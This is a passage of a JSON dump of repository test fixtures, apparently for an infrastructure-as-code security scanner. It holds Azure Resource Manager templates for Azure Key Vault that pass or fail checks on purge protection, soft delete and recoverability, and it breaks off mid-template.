\"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": false,\n        \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n        \"softDeleteRetentionDays\": 7,\n        \"enablePurgeProtection\": false,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n            \"objectId\": \"[data.azure_client_config.current.objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ],\n              \"certificates\": [],\n              \"storage\": []\n            }\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n        \"softDeleteRetentionDays\": 7,\n        \"enablePurgeProtection\": false,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n            \"objectId\": \"[data.azure_client_config.current.objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ],\n              \"certificates\": [],\n              \"storage\": []\n            }\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/pass.json",
    "content": "{\n            \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n            \"contentVersion\": \"1.0.0.0\",\n            \"resources\": [\n                {\n                    \"type\": \"Microsoft.KeyVault/vaults\",\n                    \"apiVersion\": \"2019-09-01\",\n                    \"name\": \"pass\",\n                    \"location\": \"[resourceGroup().location]\",\n                    \"properties\": {\n                        \"enabledForDiskEncryption\": false,\n                        \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n                        \"softDeleteRetentionDays\": 7,\n                        \"enablePurgeProtection\": true,\n                        \"sku\": {\n                            \"family\": \"A\",\n                            \"name\": \"standard\"\n                        },\n                        \"accessPolicies\": [\n                            {\n                                \"tenantId\": \"[data.azure_client_config.current.tenantId]\",\n                                \"objectId\": \"[data.azure_client_config.current.objectId]\",\n                                \"permissions\": {\n                                    \"keys\": [\"get\"],\n                                    \"secrets\": [\"get\"],\n                                    \"certificates\": [],\n                                    \"storage\": []\n                                }\n                            }\n                        ]\n                    }\n                }\n            ]\n        }\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enableSoftDelete\": {\n        \"type\": \"bool\",\n        \"defaultValue\": false\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"fail\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enableSoftDelete\": false,\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enableSoftDelete\": {\n        \"type\": \"bool\",\n       \"defaultValue\": true\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"pass\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enableSoftDelete\": \"[parameters('enableSoftDelete')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"pass2\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyVaultName')]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyVaultName')]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        },\n        \"enablePurgeProtection\": \"true\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      